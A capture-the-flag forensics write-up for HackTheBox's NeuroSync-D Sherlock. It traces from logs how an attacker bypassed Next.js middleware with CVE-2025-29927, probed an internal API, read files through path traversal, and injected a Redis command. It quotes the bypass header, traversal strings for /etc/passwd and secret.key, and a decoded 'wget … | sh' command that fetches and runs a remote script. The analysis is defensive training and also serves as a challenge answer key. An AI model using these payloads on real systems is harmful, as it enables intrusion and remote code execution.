HackTheBox - NeuroSync-D [DFIR]

NeuroSync™ is a leading suite of products focusing on developing cutting edge medical BCI devices, designed by the Korosaki Coorporaton. Recently, an APT group targeted them and was able to infiltrate their infrastructure and is now moving laterally to compromise more systems. It appears that they have even managed to hijack a large number of online devices by exploiting an N-day vulnerability. Your task is to find out how they were able to compromise the infrastructure and understand how to secure it.

Challenge Overview #

CTF Name:                 NeuroSync-D
Category:                 Sherlock - DFIR
Active/Retired (at pwn):  retired
Difficulty (subjective):  [3] Easy
Author:                   achille
Date Released:            04 Apr 2025
Date Completed:           09 Jul 2025
CTF Link:                 https://app.hackthebox.com/sherlocks/NeuroSync-D

Description #

In this Challenge/Sherlock pair you will need to combine your offensive and defensive skills to emulate the threat actor’s attack chain on the web server to retrieve the flag and then analyse logs from the application stack to investigate and understand how CVE-2025-29927 is being exploited.


Files #

NeuroSync.zip

unzip NeuroSync.zip

Archive:  NeuroSync.zip  
[NeuroSync.zip] access.log password:    
 inflating: access.log                 
 inflating: bci-device.log             
 inflating: data-api.log               
 inflating: interface.log              
 inflating: redis.log

Tasks #

[1] What version of Next.js is the application using? #

ls  

access.log  bci-device.log  data-api.log  interface.log  NeuroSync-D.md  NeuroSync.zip  redis.log
cation@local: NeuroSync-D$ cat * | grep Next  
  ▲ Next.js 15.1.0

15.1.0


[2] What local port is the Next.js-based application running on? #

cat * | grep localhost:

2025-04-01 11:38:05 [VERBOSE] Request headers: {"host":"localhost:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
  - Local:        http://localhost:3000  
2025-04-01T11:37:58.163Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encod  
ing","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","Mozilla/5.0 (Windows NT 10.0; WOW6  
4; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-for  
warded-port","3000"],["x-forwarded-proto","http"],["x-real-ip","10.129.231.211"]]  
--snip--

3000


[3] A critical Next.js vulnerability was released in March 2025, and this version appears to be affected. What is the CVE identifier for this vulnerability? #

google: 15.1.0 next js 2025 cve

https://strobes.co/blog/understanding-next-js-vulnerability/ “The vulnerability (officially called CVE-2025-29927) affects Next.js versions 11.1.4 through 15.2.2 – which means years worth of websites are potentially vulnerable.

Here’s the shocking part: all it takes to bypass security is adding a single HTTP header to your request:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Add this to any request, and suddenly all of Next.js’s security checks disappear. No login needed. No security barriers. Nothing.”

CVE-2025-29927


[4] The attacker tried to enumerate some static files that are typically available in the Next.js framework, most likely to retrieve its version. What is the first file he could get? #

10.129.231.211 - - [01/Apr/2025:11:37:17 +0000] "GET / HTTP/1.1" 200 8486 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:35 +0000] "GET /_next/static/chunks/framework.js HTTP/1.1" 404 9321 "-" "Mozilla/5.0 (  
Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:38 +0000] "GET /_next/static/chunks/main.js HTTP/1.1" 404 9318 "-" "Mozilla/5.0 (Windo  
ws NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:40 +0000] "GET /_next/static/chunks/commons.js HTTP/1.1" 404 9319 "-" "Mozilla/5.0 (Wi  
ndows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:44 +0000] "GET /_next/static/chunks/main-app.js HTTP/1.1" 200 1375579 "-" "Mozilla/5.0  
(Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:47 +0000] "GET /_next/static/chunks/app/page.js HTTP/1.1" 200 64640 "-" "Mozilla/5.0 (  
Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:58 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:59 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:38:01 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"

Look for GET requests of .js files which also have the 200 OK code. First one found is: main-app.js


[5] Then the attacker appears to have found an endpoint that is potentially affected by the previously identified vulnerability. What is that endpoint? #

“The problem stems from a mechanism designed to prevent infinite loops. Next.js needed a way to stop middleware from calling itself endlessly, so developers added a counter.

Here’s what happens:

  1. Every time middleware runs, Next.js checks a special header called
    x-middleware-subrequest
  2. This header contains a count of how many times middleware has run
  3. If it has run too many times (5 by default), Next.js skips the middleware entirely
  4. The critical flaw: anyone can set this header themselves”

In access.log

10.129.231.211 - - [01/Apr/2025:11:37:58 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:37:59 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:38:01 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:38:02 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:38:04 +0000] "GET /api/bci/analytics HTTP/1.1" 401 93 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:38:05 +0000] "GET /api/bci/analytics HTTP/1.1" 200 737 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"  
10.129.231.211 - - [01/Apr/2025:11:38:18 +0000] "PUT /api/bci/analytics HTTP/1.1" 200 91 "-" "Mozilla/5.0 (Windows NT 10.0;  
WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"

the endpoint is: /api/bci/analytics


[6] How many requests to this endpoint have resulted in an “Unauthorized” response? #

cat access.log | grep 401 | wc -l
5

Answer: 5


[7] When is a successful response received from the vulnerable endpoint, meaning that the middleware has been bypassed? #

Look for the first 200 OK request to the /api/bci/analytics endpoint.

10.129.231.211 - - [01/Apr/2025:11:38:05 +0000] "GET /api/bci/analytics HTTP/1.1" 200 737 "-" "Mozilla/5.0 (Windows NT 10.0;  

Make sure to format the answer accordingly.

Answer: 2025-04-01 11:38:05


[8] Given the previous failed requests, what will most likely be the final value for the vulnerable header used to exploit the vulnerability and bypass the middleware? #

interface.log:

2025-04-01T11:37:58.163Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","M  
ozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-real  
-ip","10.129.231.211"]]  
2025-04-01T11:37:59.699Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","M  
ozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-midd  
leware-subrequest","middleware"],["x-real-ip","10.129.231.211"]]  
2025-04-01T11:38:01.280Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","M  
ozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-midd  
leware-subrequest","middleware:middleware"],["x-real-ip","10.129.231.211"]]  
2025-04-01T11:38:02.486Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","M  
ozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-midd  
leware-subrequest","middleware:middleware:middleware"],["x-real-ip","10.129.231.211"]]  
2025-04-01T11:38:04.111Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","M  
ozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-midd  
leware-subrequest","middleware:middleware:middleware:middleware"],["x-real-ip","10.129.231.211"]]  
✓ Compiled /api/bci/analytics in 250ms (606 modules)  
GET /api/bci/analytics 200 in 412ms

Answer: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware


[9] The attacker chained the vulnerability with an SSRF attack, which allowed them to perform an internal port scan and discover an internal API. On which port is the API accessible? #

In data-api.log, after the middleware was bypassed:

2025-04-01 11:38:27 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:38:34 [VERBOSE] Incoming request: GET / from ::ffff:127.0.0.1  
2025-04-01 11:38:34 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:38:34 [VERBOSE] Incoming request: GET /health from ::ffff:127.0.0.1

Answer: 4000


[10] After the port scan, the attacker starts a brute-force attack to find some vulnerable endpoints in the previously identified API. Which vulnerable endpoint was found? #

In data-api.log find requests containing suspicious activity like /etc/passwd:

2025-04-01 11:38:50 [VERBOSE] Sending analytics data response...  
2025-04-01 11:38:50 [VERBOSE] Incoming request: GET /reports from ::ffff:127.0.0.1  
2025-04-01 11:38:50 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:38:51 [VERBOSE] Incoming request: GET /metrics from ::ffff:127.0.0.1  
2025-04-01 11:38:51 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:38:51 [VERBOSE] Incoming request: GET /version from ::ffff:127.0.0.1  
2025-04-01 11:38:51 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:38:52 [VERBOSE] Incoming request: GET /docs from ::ffff:127.0.0.1  
2025-04-01 11:38:52 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:38:52 [VERBOSE] Incoming request: GET /logs from ::ffff:127.0.0.1  
2025-04-01 11:38:52 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:38:52 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1  
2025-04-01 11:38:52 [VERBOSE] Requested log file: /var/log/logfile.txt  
2025-04-01 11:38:52 [VERBOSE] Sanitized log file path: /var/log/logfile.txt  
2025-04-01 11:38:52 [VERBOSE] Reading log file: /var/log/logfile.txt  
2025-04-01 11:38:52 [VERBOSE] Log file read successfully.  
2025-04-01 11:38:52 [VERBOSE] Log file contains 3 lines.  
2025-04-01 11:38:52 [VERBOSE] Parsed 2 valid log entries.  
2025-04-01 11:38:52 [VERBOSE] Sending log data response...  
2025-04-01 11:39:01 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//etc/passwd from ::ffff:127.0.0.1  
2025-04-01 11:39:01 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:39:01 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1  
2025-04-01 11:39:01 [VERBOSE] Requested log file: /var/log/../.../...//../.../...//etc/passwd  
2025-04-01 11:39:01 [VERBOSE] Sanitized log file path: /var/log/../../etc/passwd  
2025-04-01 11:39:01 [VERBOSE] Reading log file: /var/log/../../etc/passwd  
2025-04-01 11:39:01 [VERBOSE] Log file read successfully.

The endpoint allowing this was /logs

Answer: /logs


[11] When the vulnerable endpoint found was used maliciously for the first time? #

From the same data-api.log, it is not: 2025-04-01 11:38:52 [VERBOSE] Incoming request: GET /logs from ::ffff:127.0.0.1

It was used maliciously when it tried to access /etc/passwd 2025-04-01 11:39:01 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//etc/passwd from ::ffff:127.0.0.1

Answer: 2025-04-01 11:39:01


[12] What is the attack name the endpoint is vulnerable to? #

Answer: Local File Inclusion


[13] What is the name of the file that was targeted the last time the vulnerable endpoint was exploited? #

In data-api.log:

2025-04-01 11:39:24 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//tmp/secret.key from ::ffff:127.0.0.1  
2025-04-01 11:39:24 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}  
2025-04-01 11:39:24 [VERBOSE] Received GET /logs request from ::ffff:127.0.0.1  
2025-04-01 11:39:24 [VERBOSE] Requested log file: /var/log/../.../...//../.../...//tmp/secret.key  
2025-04-01 11:39:24 [VERBOSE] Sanitized log file path: /var/log/../../tmp/secret.key  
2025-04-01 11:39:24 [VERBOSE] Reading log file: /var/log/../../tmp/secret.key  
2025-04-01 11:39:24 [VERBOSE] Log file read successfully.  
2025-04-01 11:39:24 [VERBOSE] Log file contains 1 lines.

Answer: secret.key


[14] Finally, the attacker uses the sensitive information obtained earlier to create a special command that allows them to perform Redis injection and gain RCE on the system. What is the command string? #

Analyze redis.log:

--snip--
1743507566.415465 [0 127.0.0.1:34502] "RPUSH" "bci_commands" "OS_EXEC|d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb"
--snip--

Answer: OS_EXEC|d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb


[15] Once decoded, what is the command? #

Use base64 decoding on the strings that have valid encoded data:

echo "d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo" | base64 -d

wget http://185.202.2.147/h4Pln4/run.sh -O- | sh

Answer: wget http://185.202.2.147/h4Pln4/run.sh -O- | sh


Lessons Learnt #

Correlating timestamps across access, application, and infrastructure logs reveals attack progression. Centralize and timestamp‑normalize logs for quicker triage.

The x‑middleware‑subrequest exploit demonstrates how a single crafted header can subvert middleware logic. Sanitize and strictly validate all custom headers before trusting them in security checks.

Even mature frameworks like Next.js can harbor critical flaws (e.g. CVE‑2025‑29927). Always apply security headers, keep dependencies up to date, and enforce input validation at every layer.

Combining SSRF (to discover internal ports), LFI (to read arbitrary files), and Redis command injection leads to full RCE. Treat each finding as a potential pivot point in the attack chain.


Useful Resources #

CVE-2025-29927 – Next.js Middleware Bypass: https://strobes.co/blog/understanding-next-js-vulnerability/

OWASP Testing Guide – LFI: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_File_Inclusion


Get Involved #

I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.

Stay Connected   #

You can contact me at ion.miron@tutanota.com